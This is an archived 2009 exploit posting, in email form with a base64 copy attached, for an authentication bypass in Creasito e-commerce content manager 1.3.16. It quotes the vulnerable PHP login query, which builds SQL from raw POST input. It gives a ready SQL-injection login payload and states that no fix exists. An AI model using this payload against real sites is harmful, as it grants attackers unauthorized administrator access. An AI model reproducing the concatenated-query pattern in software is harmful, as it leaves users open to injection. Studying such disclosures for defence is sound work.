AOH :: HP Unsorted C :: VA3232.HTM

Creasito e-commerce content manager Authentication Bypass



Creasito e-commerce content manager Authentication Bypass
Creasito e-commerce content manager Authentication Bypass



--001636c5a6dea54bb20467fde63c
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com 

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 20 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs

This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php

SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:

...

$username = $_POST['username'];

...

$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");

...


*************************************************

[+] Code


- [A] Authentication Bypass

Username: -1' OR '1'='1'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

--001636c5a6dea54bb20467fde63c
Content-Type: text/plain; charset=US-ASCII; 
	name="Creasito e-commerce content manager Authentication Bypass-20042009.txt"
Content-Disposition: attachment; 
	filename="Creasito e-commerce content manager Authentication Bypass-20042009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ftraxexr0

KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiBjcmVhc2l0byBlLWNvbW1lcmNlIGNvbnRlbnQgbWFuYWdlcgpbK10gVmVyc2lv
bjogMS4zLjE2ClsrXSBXZWJzaXRlOiBodHRwOi8vY3JlYXNpdG8uYmxvZ2hvc3RlcmlhLmNvbQoK
WytdIEJ1Z3M6IFtBXSBBdXRoZW50aWNhdGlvbiBCeXBhc3MKClsrXSBFeHBsb2l0YXRpb246IFJl
bW90ZQpbK10gRGF0ZTogMjAgQXByIDIwMDkKClsrXSBEaXNjb3ZlcmVkIGJ5OiBTYWx2YXRvcmUg
ImRyb3NvcGhpbGEiIEZyZXN0YQpbK10gQXV0aG9yOiBTYWx2YXRvcmUgImRyb3NvcGhpbGEiIEZy
ZXN0YQpbK10gQ29udGFjdDogZS1tYWlsOiBkcm9zb3BoaWxheHh4QGdtYWlsLmNvbQoKCioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKClsrXSBNZW51Cgox
KSBCdWdzCjIpIENvZGUKMykgRml4CgoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKgoKWytdIEJ1Z3MKClRoaXMgY21zIGlzIGVudGlyZWx5IHZ1bG5lcmFi
bGUgdG8gU1FMIEluamVjdGlvbi4gCkkgZGVjaWRlZCB0byBwb3N0IGF1dGhlbnRpY2F0aW9uIGJ5
cGFzcyBzZWN1cml0eSAKZmxhdyBvbmx5LgoKLSBbQV0gQXV0aGVudGljYXRpb24gQnlwYXNzCgpb
LV0gUmlzazogbWVkaXVtClstXSBSZXF1aXNpdGVzOiBtYWdpY19xdW90ZXNfZ3BjID0gb2ZmClst
XSBGaWxlIGFmZmVjdGVkOiBhZG1pbi9jaGVja3VzZXIucGhwLCBjaGVja3VzZXIucGhwCgpTUUwg
SW5qZWN0aW9uIGJ1ZyBhbGxvd3MgYSBndWVzdCB0byBieXBhc3MgdGhlIAphdXRoZW50aWNhdGlv
biBzeXN0ZW0uIFRoZSBmb2xsb3dpbmcgaXMgdGhlIAp2dWxuZXJhYmxlIGNvZGU6CgouLi4KCiR1
c2VybmFtZSA9ICRfUE9TVFsndXNlcm5hbWUnXTsKCi4uLgoKJHNxbCA9IG15c3FsX3F1ZXJ5KCJT
RUxFQ1QgKiBGUk9NIGFtbWluaXN0cmF0b3JlIFdIRVJFIHVzZXJuYW1lPSckdXNlcm5hbWUnIEFO
RCBwYXNzd29yZD0nJHBhc3N3b3JkJyBBTkQgYWN0aXZhdGVkPScxJyIpOwoKLi4uCgoKKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIENvZGUKCgot
IFtBXSBBdXRoZW50aWNhdGlvbiBCeXBhc3MKClVzZXJuYW1lOiAtMScgT1IgJzEnPScxJyMKUGFz
c3dvcmQ6IGZvbwoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioKClsrXSBGaXgKCk5vIGZpeC4KCgoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioq
--001636c5a6dea54bb20467fde63c--

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.